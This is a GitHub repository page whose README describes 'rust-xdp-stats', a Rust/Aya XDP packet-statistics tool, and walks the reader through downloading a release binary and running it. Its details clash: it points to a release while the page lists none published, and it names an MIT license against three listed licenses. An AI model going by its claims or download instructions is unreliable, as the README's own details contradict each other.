Skip to content

Gets105/rust-xdp-stats

Repository files navigation

πŸš€ rust-xdp-stats - Monitor Network Performance Easily

Download

🌟 About

rust-xdp-stats is an application designed to monitor network performance using XDP (eXpress Data Path). This project replicates my original XDP Stats program written in C with a new approach in Rust and the Aya framework. It offers simple, effective insights into your network's behavior.

βš™οΈ Features

  • High Performance: Utilizes eBPF technology to capture and analyze packets quickly.
  • User-friendly Interface: Provides clear statistics on network traffic without the need for programming knowledge.
  • Real-time Monitoring: View live data on your network's performance.
  • Flexible Metrics: Track various network parameters like UDP, TCP, and more.
  • Cross-Platform Support: Runs on various Linux distributions, making it accessible for many users.

πŸ› οΈ System Requirements

To run rust-xdp-stats smoothly, ensure your system meets the following requirements:

  • Operating System: Any modern Linux distribution.
  • Required Libraries: Install the following dependencies:
    • Rust programming environment (check the version with rustc --version).
    • Aya framework.

Ensure you have a recent version of the kernel that supports XDP and eBPF features.

πŸš€ Getting Started

Follow these steps to get rust-xdp-stats up and running:

  1. Visit the Releases Page: Use the button below to go to the page where you can download the application.

    Download

  2. Download the Latest Version: On the Releases page, select the latest version of the rust-xdp-stats application. This will usually be labeled with the highest version number.

  3. Extract Files: After downloading, locate the file in your Downloads folder. If it's a ZIP or TAR file, right-click on it and choose "Extract All" or "Extract Here" to get the usable files.

  4. Open Terminal: You will need to use the terminal to run the application. Open your terminal application, which you can usually find in your applications menu.

  5. Navigate to Directory: Use the cd command to change directories to where you extracted the files. For example, if you extracted it to the Downloads folder, type:

    cd ~/Downloads/rust-xdp-stats
    
  6. Run the Application: Enter the following command in your terminal:

    ./rust-xdp-stats
    

    This will start the application. Follow any on-screen instructions to configure your monitoring settings.

πŸ“Š Using rust-xdp-stats

Once rust-xdp-stats is running, you will see a dashboard displaying various metrics. The application focuses on:

  • Packet Count: Monitors incoming and outgoing packets.
  • Network Interface: Choose which network interface to monitor (e.g., eth0, wlan0).
  • Filters: Set up filters based on protocol (UDP, TCP) to narrow down the statistics to your needs.

πŸ§‘β€πŸ’» Troubleshooting

If you encounter issues while running rust-xdp-stats, try the following steps:

  1. Check Permissions: Ensure you have the necessary permissions to capture packets. This might require running as root or using sudo.

  2. Update Dependencies: Make sure your Rust environment and any necessary libraries are up to date.

  3. Consult Logs: If the application fails to start, check the terminal for any error messages and resolve them as indicated.

πŸ“œ License

rust-xdp-stats is released under the MIT License. You can modify and distribute this software as long as you adhere to the licensing terms.

πŸ“ž Support

If you have questions or need more help, feel free to contact the support community on the repository issues page. Your feedback is invaluable for improving the software.

πŸ”— Additional Resources

For more information on Rust and eBPF, consider exploring these resources:

Hope you enjoy using rust-xdp-stats to monitor and improve your network performance!

About

πŸ“Š Track packet and byte counts using Rust and Aya in this XDP project, designed to enhance performance monitoring and analysis.

Topics

Resources

License

Apache-2.0 and 2 other licenses found

Licenses found

Apache-2.0
LICENSE-APACHE
GPL-2.0
LICENSE-GPL2
MIT
LICENSE-MIT

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages